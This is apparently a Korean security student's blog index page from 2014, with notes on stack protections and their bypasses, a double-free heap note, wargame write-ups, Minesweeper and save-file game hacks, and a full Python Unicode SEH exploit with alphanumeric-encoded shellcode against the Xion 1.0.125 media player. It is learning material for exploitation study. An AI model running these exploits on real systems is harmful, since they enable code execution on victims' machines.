Be myself :: '분류 전체보기' 카테고리의 글 목록 (8 Page)

달력

32024  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

'분류 전체보기'에 해당되는 글 116건

  1. 2014.09.22 스택 보호기법 2
  2. 2014.09.21 wargame.kr 올클
  3. 2014.09.18 struct 관련
  4. 2014.09.17 Double free exploit
  5. 2014.08.22 Fc3 dark_eyes
  6. 2014.08.02 RTL을 이용한 쉘코드 작성 3
  7. 2014.07.29 지뢰 찾기 핵 1
  8. 2014.07.28 치트엔진을 활용한 환세취호전 핵 2
  9. 2014.07.25 Suninatas all clear 3
  10. 2014.07.21 유니코드 익스플로잇

스택 보호기법

Exploit 2014. 9. 22. 16:16

1 개요

여러가지 스택 보호기법들에 대해 공부했었는데 자꾸 잊어버려서 정리할 필요가 있다고 생각되어 정리하게 되었다.

 

2 NX(데이터 실행 방지)

Nx bit를 활성화 시켜 스택이나 힙영역의 실행권한을 없애서 쉘의 실행으로부터 보호하는 기법이다. 이를 우회하기 위한 방법으론 대표적인 것이 RTL공격(공유라이브러리 이용 ldd로 확인 가능하다.)이다.
NX비트가 활성화 되어 있는 지는 다음과 같이 확인이 가능하다.

2. ASLR

ASLR(Address space layout randomize)는 프로그램이 가상메모리에 mapping 될 때 그 base address의 주소를 랜덤으로 돌려서 공격을 어렵게 하는 방어기법 이다
1. Echo 0 > /proc/sys/kernel/randomize_va_sapce (ASLR 끔)
2. Echo 1 > /proc/sys/kernel/randomize_va_szpce (ASLR ON -> stack randomize)
3. Echo 2 > /proc/sys/kernel/randomize_va_szpace (ASLR ON -> stack, heap, mmap randomize)

2-1 우회방법

여러 가지가 있을 수 있다.

1. Brute Force
특정한 때 쉘이 위치할 주소 값을 하드코딩 한 다음 계속 공격하는 것이다. 구버전 리눅스의 경우 스택의 크기가 크지 않아 가능한 공격이다. NOP를 충분히 넣어주면 빠르게 공격이 가능하다. 하지만 64bit시스템이나 최신버전에선 좀 힘들다..

2. Jmp *esp, call *esp
명령어를 보자 마자 무슨 뜻인지 알 것이다. 잘 모르겠다는 사람은 본인이 전에 올린 블로그 글을 참고하길 바란다. 이 명령어를 text명령어나 공유라이브러리에서 찾는 방법은 gdb에서 [ find /h (메모리 시작주소), (메모리 끝 주소), 명령어 ] 이렇게 찾으면 된다. 혹은 msfelfscan 툴을 이용하면 된다.
이 때 주의할 점은 RTL을 통해 공격하는 것을 막기 위해 라이브러리 마저 Random으로 돌아가는 경우이다.

3. RET Sledding
RET sledding을 하게 되면 주소 값과 상관 없이 스택에 위치한 값들을 이용하기 때문에 공격이 가능하다.

* Bypassing random library

1. Brute Force
구버전의 리눅스의 경우에 공유라이브러리 주소가 아래의 그림과 같이 랜덤으로 변한다 하더라도 같은 주소로 맵핑되는 경우가 많다 보니 Brute force공격이 가능하다.

 

3 Stack guard, stack shield

컴파일러나 링커에 의해 스택을 보호하는 기법이다. RET의 값을 어느 곳에 저장해 두었다가 프로그램이 끝날 때 ret의 값을 비교해 처음과 다르다면 비정상 종료시키는 것이 stack shield이고 SSP에 의해 canary의 값을 넣어주는 것이 stack guard 이다.

*canary의 종류
1. Random canary: /dev/urandom 에 의해 생성되는 랜덤의 값
2. Terminator canary : NULL이나 CR(0xd), LF(0xa), EOF(0xff)와 같은 값을 포함하여 canary의 값을 알더라도 페이로드를 정장적으로 작성할 수 없도록 한다.

우회 방법으로는 memory leak이 일어나는 곳을 찾아서 카나리 값을 직접 알 수 있으면 제일 좋다. (물론 프로그램이 실행 할 때마다 카나리 값이 변하지 않는다는 가정이 있어야 하겠지만)

4 Ascii armor

공유라이브러리의 주소 값의 최상위 비트가 0x00이 위치해 페이로드를 구성 할 수 없도록 하는 기법인데 RET sledding이나 fake ebp로 우회 가능하다. 또는 ascii armor의 보호를 받지 않는 PLT영역의 주소 값을 이용해서 GOT를 overwrite 시켜 공격하는 방법이 있다.

'Exploit' 카테고리의 다른 글

elf의 보호기법 파악  (0) 2014.10.09
메타스플로잇을 이용한 쉘코드 작성  (0) 2014.10.03
Double free exploit  (0) 2014.09.17
RTL을 이용한 쉘코드 작성  (3) 2014.08.02
유니코드 익스플로잇  (0) 2014.07.21
Posted by flack3r
|

wargame.kr 올클

Wargame 2014. 9. 21. 10:34



Thanks to Hide  :)

'Wargame' 카테고리의 다른 글

문제 서버 파일 다운로드(ssh)방법  (0) 2014.09.25
exploit-exercise ssh 접속방법  (0) 2014.09.24
Fc3 dark_eyes  (0) 2014.08.22
Suninatas all clear  (3) 2014.07.25
워게임 현황  (0) 2014.07.01
Posted by flack3r
|

struct 관련

Python 2014. 9. 18. 23:10

일단 struct.pack은 파이썬 변수를 c와 같이 변환해서 조작하기 위해 사용된다. 반대로 struct.unpack 은 c와 관련된 hex값을 변환한다. 

여기서 주의할 점은 소켓 프로그래밍 시 서버에서 char이나 int값을 주고 받을 때 unpack을 해서 받고 pack으로 보내주어야 인식이 된다. 근데 char형 배열이나 포인터와 같은 string이라면, 굳이 변환이 필요 없는 듯 하다. 왜 그런진 잘 모르겠다.. 그냥 그런 것 같다. (정확하지 않은 추측이다. 혹시나 정확히 아는 분은 설명좀 ㅠㅠ)

'Python' 카테고리의 다른 글

os.execve 주의  (0) 2015.03.31
str과 repr의 차이  (0) 2015.02.22
with~as 구문  (0) 2015.02.22
개발 시 팁  (0) 2015.02.18
string처리, 관련 메소드  (0) 2014.10.01
Posted by flack3r
|

Double free exploit

Exploit 2014. 9. 17. 15:33

fake chunk 만들 시 PREV_SIZE 와 SIZE값이 과연 무엇을 의미 하는지 이제 약간 감이 잡히는 듯 ? 물론 커널버전마다 약간씩 달라질 것 같긴 한데. 일단 써본다.

exploit-exercises 에서 protostar heap3번 문제가 double free bug 관련 문제다. 이 때, fake chunk를 구성 하는데 만약 [chunk 1 ][chunk 2 ] 이런식으로 되어 있고 여기서 fake chunk를 구성 할 때, 보통 [A * chunk 1 크기][0xfffffc][0xffffffff][fake fd][fake bk] 이런 식으로 페이로드를 구성한다. 근데 이 때 앞의 PREV_SIZE(0xfffffffc) 부분은 fd와 bk의 부분의 오프셋값을 결정하고 size값은 말 그대로 PREV_SUS의 값으로 써 0의 값을 가지는 음수가 위치하게 된다. 

따라서 이 문제에서 답을 얻기 위한 페이로드는 [A * chunk 1 크기][0xfffffc][0xfffffffc]+[AAAA]+[fake fd][fake bk] 이런식으로 A가 dummy 로 들어가는게 핵심인듯.


'Exploit' 카테고리의 다른 글

메타스플로잇을 이용한 쉘코드 작성  (0) 2014.10.03
스택 보호기법  (2) 2014.09.22
RTL을 이용한 쉘코드 작성  (3) 2014.08.02
유니코드 익스플로잇  (0) 2014.07.21
SEH overwrite 실습  (0) 2014.07.16
Posted by flack3r
|

Fc3 dark_eyes

Wargame 2014. 8. 22. 22:53

문제파악

Fake ebp가 먹히지 않는다. 일단 문제를 풀기 전에 https://research.hackerschool.org:8080/Datas/Research_Lecture/FC%203,4,5%20stack%20overflow.txt 여기서 bof의 기법들을 알고 오자. 보고 왔는가? 그렇다면 이 문제는 간단한 ret sleding문제임을 알 수 있을 것이다.

Ebp를 조절하는 대신 esp를 조절해 execv의 인자들을 스택상에 맞춰 주는 기법이다. Execv는 첫 번째 인자에 실행할 파일의 경로가 담긴 주소 값이 들어간다. 두 번째 인자는 argv[]가 들어가는데 null을 넣어줘도 된다. 그렇다는 것은 익스플로잇으로 스택을 구성 할 때 첫 번째 인자가 될 만한 곳을 스택에서 찾아서 그 부분의 값으로 쉘을 주는 프로그램을 ln 링크걸면 실행된다는 것이다. 자 다음과 같이 따라와 보자.

문제풀이

일단 A를 버퍼에 264개 넣었을 때 스택의 모습이다. 스택을 보면 우리가 구성할 인자 부분이 저렇게 보기 좋게 구성되어 있다. 첫 번째 인자부분의 값을 살펴보자.

ㅎㅎ 값도 작고 좋다. 심볼릭 링크의 이름을 \x3c\xed\x83으로 지정하면 된다.(null 까지 읽히므로) 자 그럼 ret를 3번 sleding하고 execv의 주소를 넣으면 쉘이 떨어질 것이다. ^^

페이로드 구성 = "A"*268 + "ret"*3 + &execv

자 다음과 같이 프로그램을 만들고 심볼릭 링크를 걸자.

자 이제 공격!!

아힝흥행~! 깔끔하다.

'Wargame' 카테고리의 다른 글

exploit-exercise ssh 접속방법  (0) 2014.09.24
wargame.kr 올클  (0) 2014.09.21
Suninatas all clear  (3) 2014.07.25
워게임 현황  (0) 2014.07.01
CodeEngn 베이직 올클  (0) 2014.05.14
Posted by flack3r
|

포인트---------

gdb로 까봐서 print system함수로 함수 주소 얻은 다음 system함수에 위치한 /bin/sh문자열 찾는 코드

int main(int argc, char **argv)

{ long shell; shell = 0x4006b498; // <=== system()함수의 주소 while(memcmp((void*)shell,"/bin/sh",8)) shell++; printf("\"/bin/sh\" is at 0x%x\n",shell); printf("print %s\n",shell); }

[mutacker@note myshell]$ gcc -o findsh findsh.c [mutacker@note myshell]$ ./findsh "/bin/sh" is at 0x4012eca9


출처: http://www.hackerschool.org/HS_Boards/data/Lib_system/rtl_sc.txt


참고: http://www.hackerschool.org/HS_Boards/data/Lib_system/framepointer.txt (Fake ebp 관련 공격)


'Exploit' 카테고리의 다른 글

스택 보호기법  (2) 2014.09.22
Double free exploit  (0) 2014.09.17
유니코드 익스플로잇  (0) 2014.07.21
SEH overwrite 실습  (0) 2014.07.16
C++에서 VTable  (0) 2014.07.12
Posted by flack3r
|

지뢰 찾기 핵

Reversing 2014. 7. 29. 10:38

<지뢰 찾기 패치>

윈도우 xp 시리즈 지뢰 찾기를 시작할 때 지뢰가 보이도록 패치 해 보겠다.

사용한 툴은 오직 OllyDbg뿐이다.

자, 일단 올리디버거로 실행시키고 F8로 쭉~ 따라 가다 보면 다음과 같은 루틴을 만난다.


1005330이 0이 될 때까지 반복하는 구간인데, 초급 난이도에서 지뢰가 10개임을 생각하면 10개만큼의 지뢰를 배치하는 것 같다. 사실, 이 루틴을 찾는 방법은 그냥 무작정 F8로써 분석해 가면서 찾아도 되는데, 나 같은 경우는 srand()함수 부분을 먼저 찾았다. (지뢰가 무작위로 배치될 것이기 때문에 이 부분위주로 찾으면 지뢰가 배치되는 부분을 찾을 수 있다.) 그 후 이 부분 위주로 분석하고 지뢰를 밟았을 때, 지뢰를 보여주는 함수를 찾았고, 이 부분으로 Jmp하게 해서(인라인 패치를 통해) 지뢰가 시작할 때 보여지도록 했다.

아무튼, 위 그림 부분을 하나하나 분석하다 보면 메모리에 다음과 같은 값들이 써진다.

지뢰의 개수를 나타내는 곳은 0x1005334부분이고 이 메모리 근처에 지뢰를 배치하는 판(?)을 그리는 것 같다. 지뢰가 위치하는 곳은 0x8F로 표시하는 듯 하다. 따라서 게임이 끝났을 때, 지뢰가 있는 부분을 표시하기 위하여 0x8F부분에 반드시 접근할 것이므로 저 부분에 하드웨어 브레이크 포인트를 걸어 실행 후 지뢰를 밟으면 지뢰를 보여주는 함수가 나온다.!!


0x1002F80 으로 시작되는 함수이다. 자 그럼, 우린 지뢰를 배치하고, 화면에 뿌리고 그 이후에 사용자의 입력 값을(클릭하는 것) 받는 루틴에서 잠깐 프로그램의 실행을 0x1002F80으로 돌리고 다시 원래의 실행을 하면 지뢰를 보는 상태로 게임을 할 수 있다. 그래서 다음과 같이 패치하자.

(사용자의 입력 값을 받는 루틴이다.)

여기서 우린 0x1002380부분에서 패치를 할 것이다. (이 부분에 패치를 하는 이유는 JMP명령어가 5바이트를 차지하므로 적당한 부분을 고른 것일 뿐이다.) 다음과 같이 바꾸자

이제 오른쪽 클릭-> Copy to executable -> All modifications 을 누른 후 오른쪽 클릭 -> save file을 눌러 패치 파일을 저장하면 모든 패치가 끝나게 된다.

'Reversing' 카테고리의 다른 글

vmware 디버깅  (0) 2015.01.28
peda 설치법  (0) 2014.10.17
치트엔진을 활용한 환세취호전 핵  (2) 2014.07.28
DLL Injection  (1) 2014.05.17
PEB를 활용한 안티디버깅  (0) 2014.05.16
Posted by flack3r
|

환세취호전 핵 만들기

오랜만에 고전게임이 생각나서 환세취호전을 했는데 너무 재미있었다. 그래서 핵까지 만들게 되었다. ㅋㅋㅋ

사용한 툴은 OllyDbg와 치트엔진 그리고 환세취호전을 창모드로 만들어 주는 인터넷에서 돌아다니는 툴을 사용했다. 핵이 적용된 save파일은 밑에서 다운받자.


savedat2.dat

환세취호전.zip


자 일단, 핵을 만들기 전에 한번 게임 해봐야 할 것 같아 한번 켰더니 '켠킴에 왕까지' 프로그램 빙의되서 엔딩까지 보고 말았다. ㅋㅋㅋ

음. 암튼 치트 엔진을 키고! 일단 돈부터 조작해보자.

돈에 해당하는 값을 입력하고 First Scan을 누르고 224의 값을 가진 주소값(변수)들을 전부 출력한다.

그 후 몬스터 한 마리 잡고 돈이 올라갔을 때, Scan Type에 Changed value를 선택하고 First Scan옆에 있는 Next Scan을 누른 후 값이 변한 변수들을 확인해서 현재 돈과 같은 값을 가지는 변수를 찾는다. 그것이 바로 돈의 변수 주소 값이다.


(첫 번째 스캔 눌렀을 때)


(두 번째 scan)

이러한 원리로 체력, 기력, 공격력, 방어력 등의 변수의 주소 값을 구할 수 있다. (레벨업을 하면 이 값이 변동되므로 변한 값 위주로 scan해서 파악함.) 주의할 점은 캐릭터들의 능력 치는 구조체 형식으로 저장이 되어 있을 것임을 예측 할 수 있다. 따라서 캐릭터 별로 능력치의 값들은 서로 가까운 주소 값에 몰려 있을 거라 생각할 수 있다. 돈을 가진 변수 또한 마찬가지 이므로 값을 찾을 때 0x400000 부분의 주소 위주로 찾으면 쉽게 다 찾을 수 있다.

다음은 캐릭터 별 체력, 기력, 공격력, 방어력을 찾은 화면이다.

자 이제 캐릭터 별 레벨, 체력, 기력, 공격력, 방어력 을 완전히 통제할 수 있고, 사실 혼자 핵을 쓸려면 이대로 플레이 하면 된다. 하지만, 우린 다른 사람도 우리의 핵 패치를 이용하고 싶을 것이므로(그래야 할 텐데..) 범용성을 위해 어떤 프로그램이나 파일을 만들어야 한다.

생각을 해봤는데, DLL인젝션을 통해서 캐릭터 특성 값을 하나하나 변경할 수 있지만 너무 큰 프로젝트가 될 것 같고 간단하게 특성 값들이 조작된 Save파일을 만든다면, 다른 사람들도 Save파일을 불러오기만 하면 거의 무적이 된 게임 캐릭터들을 만나볼 수 있을 것이다. ㅎㅎ

그럼 Save파일을 불러와 그 구조를 확인하자.

흠.. 그냥 이렇게 봐선 뭐가 뭔지 모른다. 그렇지만, 어떤 덩어리(패턴)등이 3번 반복되는 것을 볼 수 있는데(화면엔 2덩어리 밖에 안 잡혔다.) 게임에서 우리가 플레이 하는 캐릭터가 3명임을 감안 할 때, 이 덩어리들은 각 캐릭터들의 특성을 저장한 구조체임을 추측 할 수 있다.

이를 더 확실히 하기 위해 OllyDbg를 열고 치트엔진으로 확인한 변수들의 주소 값을 확인해 어떠한 형태로 캐릭터 특성 값들이 저장되는지 확인 해 봐서 Save파일과 비교한 후 Save파일의 어떤 부분의 값이 무엇을 뜻하는지 확인하는 과정을 거치고 알아 낸 후 조작하고 파일을 저장하면 끝이다. ㅋㅋㅋ 무슨 말인지 몰라도 상관없다. 다음의 그림들을 보면 확실히 알 것이다.

아타호의 level은 0x457756주소에 2Byte형태로 저장되어 있다. 이를 올리디버거로 확인 해 보면 다음과 같다.

0x457756 부분을 확인 해 보면 저런 식으로 값이 들어가 있다. [01 00]->아타호 레벨 부분이고 다음 [1E 00 1E 00 1E 00] 부분은 아타호의 체력과 관계된 부분이다. 근데 위에 빨간색으로 표시된 부분은 어디서 많이 본 것 같지 않나? 그렇다. 아까 save파일에 덩어리 부분의 일부이다.

위의 offset값 0x11A 부분부터 올리디버거로 확인한 저 빨간색 블록과 비교해 보자.

거의 똑같지 않나? 그렇다. 올리디버거에서 확인한 구조체 부분과 save파일의 구조체부분이 다르지 않다는 것이다. 그렇다는 것은 치트엔진과 Ollydbg를 이용해 save파일에서 캐릭터들의 특성 값이 어디에 위치하는지 알아 낼 수 있다는 것을 의미한다.

그래서 하나하나 알아보면 다음과 같다.

여기서 공격력-update와 방어력-update부분은 레벨업 시 레벨업을 처리하는 함수가 참조하는 부분인데, 이 부분을 조작하지 않으면 캐릭터가 레벨 업을 할 때 애써 조작한 공격력이나 방어력이 원래대로 돌아가 버린다. 암튼 위에 부분의 구조는 아타호의 값들인데 다른 캐릭터들의 특성값들도 동일한 구조로 저장되어 있으므로 여기까지 이해 했다면 나머지 린샹이나 스마슈의 특성값들은 쉽게 찾을 수 있을 것이다.

다음은 내가 파악한 값들이다.

<raw 0x8>

4바이트 -> 돈

--------------------아타호------------------

<0x457756>

<raw 11a>

첫째 2바이트 -> 레벨

둘째 2바이트*3 ->체력

셋째 2바이트*3 ->마나

 

<raw 142>

2바이트 -> 공격력

 

<raw 146>

첫째 2바이트 -> 방어력

 

<0x45780E>

<raw 304>

첫째 2바이트->공격력 업데이트

<raw 308>

첫째 바이트 ->방어력 업데이트

--------------------------------------------

 

-------------------린샹---------------------

<0x45782E>

<raw 0x320>

첫째 2바이트 -> 레벨

둘째 2바이트*3 -> hp

셋째 2바이트*3 -> mp

 

<0x457844>

<raw 0x358>

첫째 2바이트 -> 공격력

+2바이트

둘째 2바이트 -> 방어력

 

<raw 0x51a>

첫째 2바이트 -> 공격력 업데이트

+2바이트

둘째 2바이트 -> 방어력 업데이트

-----------------------------------------

 

------------------스마슈--------------------

<0x457906>

<raw 54c>

첫쨰 2바이트 ->레벨

둘째 2바이트*3 ->hp

둘째 2바이트*3 ->mp

 

<raw 574>

첫째 2바이트 ->공격력

+2바이트

둘째 2바이트 ->방어력

 

<raw 736>

첫째 2바이트 -> 공격력 업데이트

둘째 2바이트 -> 방어력 업데이트

자, 이렇게 해서 레벨, 체력, 공격력 등을 조작해서 자기가 원하는 값으로 세팅한 후 저장하면 트레이너 save파일이 만들어 진다. ㅎㅎ

완성된 save 파일을 로드 했을 때의 사진이다.

'Reversing' 카테고리의 다른 글

peda 설치법  (0) 2014.10.17
지뢰 찾기 핵  (1) 2014.07.29
DLL Injection  (1) 2014.05.17
PEB를 활용한 안티디버깅  (0) 2014.05.16
WinDbg, xp 연동  (0) 2014.05.16
Posted by flack3r
|

Suninatas all clear

Wargame 2014. 7. 25. 11:12

All clear 기념샷~

'Wargame' 카테고리의 다른 글

wargame.kr 올클  (0) 2014.09.21
Fc3 dark_eyes  (0) 2014.08.22
워게임 현황  (0) 2014.07.01
CodeEngn 베이직 올클  (0) 2014.05.14
워게임 사이트  (0) 2014.05.05
Posted by flack3r
|

유니코드 기반 seh 익스플로잇

이번엔 페이로드를 입력 했을 때, 유니코드로 데이터가 메모리에 저장 될 때, 어떻게 해야 쉘을 실행 시킬 수 있을지 에 대한 내용을 다루어 보겠다. 이번에 익스플로잇 대상은 Xion 1.0.125이다. 이 프로그램은 http://www.exploit-db.com/exploits/14633/ 에서 다운 받을 수 있다. 또한 실행 환경은 windows xp sp3 영문버전이다.

이 프로그램은 m3u파일을 로드 시킬 때, 버퍼오버플로 취약점을 지닌 어플리케이션이다. 그렇다면, 늘 하던 대로 다음과 같이 파이썬 코드를 짜고 파일을 로드 시킨다.

dumy = "\x41"*5000
f = open("crash.m3u","w")
f.write(dumy)

print("create complete !")
f.close()

그 WinDbg로 실행시키면 seh구조체가 다음과 같이 바뀐걸 확인 할 수 있다.

자 이제 seh까지 오프셋 값을 확인 해야 하므로, msf의 pattern_create.rb 툴을 이용해 패턴을 생성한다.

dumy = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af(생략)"
f = open("crash.m3u","w")
f.write(dumy)

print("create complete !")
f.close()

seh구조체에서 앞의 4바이트를 따 확인을 해 보면 다음과 같다.

즉 offset 218만큼 버퍼와 seh구조체가 떨어져 있다. 그렇다면, 이제 일반적인 seh overwrite 공격을 위해 pop pop ret 가젯을 corelan팀이 만든 pvefindaddr이라는 이뮤니티 디버거 플러그인으로 찾는다.


pvefindaddr.py


(결과 화면)

여기서 유니코드로 변환 되었을 때, pop pop ret이 제대로 적용 될 수 있는 주소를 찾으면 다음과 같다.

즉, \x84\x47을 seh handler위치에다 주면, 0x47201E주소로 변환되어 pop pop ret을 수행하게 된다. 자 여기서, 일반적으로 nSeh에 jmp shellcode가 들어가지만, 여기선 유니코드로 데이터가 바뀌게 되므로, nop와 같이 별 의미 없는 명령어들을 넣어서 nSeh, Seh Handler를 넘어 쉘코드로 넘어갈 수 있도록 해보겠다. 그러기 위해 nSeh에 0x61과 0x71을 넣는다. 0x61은 popad 명령어 이고 0x71은 1바이트 명령어가 유니코드로 바뀌어 0x61 0x00 명령어가 실행되지 않는 것을 방지한다. 즉, 0x61 0x71이 유니코드로 바뀌면 0x61 0x00 0x71 0x00인데, 0x00 0x71 0x00은 add byte ptr [eax],dh 를 뜻하기 때문에 레지스터에 조금 조작이 들어갈 뿐 전체적인 프로그램의 흐름은 바뀌지 않는다.

다음과 같이 코딩하고 실행해 보면 쉘코드로 eip의 흐름이 이어지는 것을 확인 할 수 있다.

dumy = "\x41"*218
nextseh = "\x61\x70"
seh = "\x84\x47"
exception = "A"*5000
f = open("seh.m3u","w")

f.write(dumy+nextseh+seh+exception)

print("create complete !")
f.close()

Windbg로 확인한 결과다.

nSeh 영역을 지나 쉘코드(A로 덮인) 부분으로 가는 것을 볼 수 있다.

이제 유니코드로 인코딩된 쉘을 입력하고 실행시키면 끝이다. 근데 우리는 alpha2와 eax를 이용해 쉘코드를 만들고 실행 할 것이므로, eax를 쉘코드 위치로 가리키게 만들 필요가 있다. 위의 windbg화면을 보면 eax가 12f28c를 가리키므로 이를 이용하면 될 것 같다. 다음과 같이 어셈블리 명령어를 이용한다.

Add eax, 1001400
sub eax, 1001300
push eax
ret
이 때, eax값을 스택에서 확인해 이 부분에 쉘을 넣으면 공격 성공이다.

위에 보면 eax가 결국 12f38c로 설정되므로 eax를 세팅하는 명령어 어셈의 끝부분(12f2a8)에서 쉘코드 가 위치해야하는 주소(12f38c)까지의 오프셋 값은 0x12f38c – 0x12f2aa = 226 이므로, dumy 226을 더 추가하고 다음과 같이 익스플로잇 코드를 짠다.

dumy = "\x41"*218
nextseh = "\x61\x70"
seh = "\x84\x47"
addeax = "\x05\x14\x11"
padding = "\x6e"
subeax = "\x2d\x13\x11"
pusheax = "\x50"
ret = "\xc3"
shell = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARA"+"LAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZA"+"BABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB"+"KLK8U9M0M0KPS0U99UNQ8RS44KPR004K22LLDKR2MD4KCBMX"+"LOGG0JO6NQKOP1WPVLOLQQCLM2NLMPGQ8OLMM197K2ZP22B7"+"TK0RLPTK12OLM1Z04KOPBX55Y0D4OZKQXP0P4KOXMHTKR8MP"+"KQJ3ISOL19TKNTTKM18VNQKONQ90FLGQ8OLMKQY7NXK0T5L4"+"M33MKHOKSMND45JBR84K0XMTKQHSBFTKLL0KTK28MLM18S4K"+"KT4KKQXPSYOTNDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM"+"2JKQTMSU89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU"+"7MEMKOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC"+"QQ2LRCM0LJA"
dumy2 = "A"*113
exception = "A"*5000
f = open("exploit.m3u","w")

f.write(dumy+nextseh+seh+addeax+padding+subeax+padding+pusheax+padding+ret+dumy2+shell+exception)

print("create complete !")
f.close()

실행 시키면 끝~

'Exploit' 카테고리의 다른 글

Double free exploit  (0) 2014.09.17
RTL을 이용한 쉘코드 작성  (3) 2014.08.02
SEH overwrite 실습  (0) 2014.07.16
C++에서 VTable  (0) 2014.07.12
여러 보호기법  (0) 2014.07.11
Posted by flack3r
|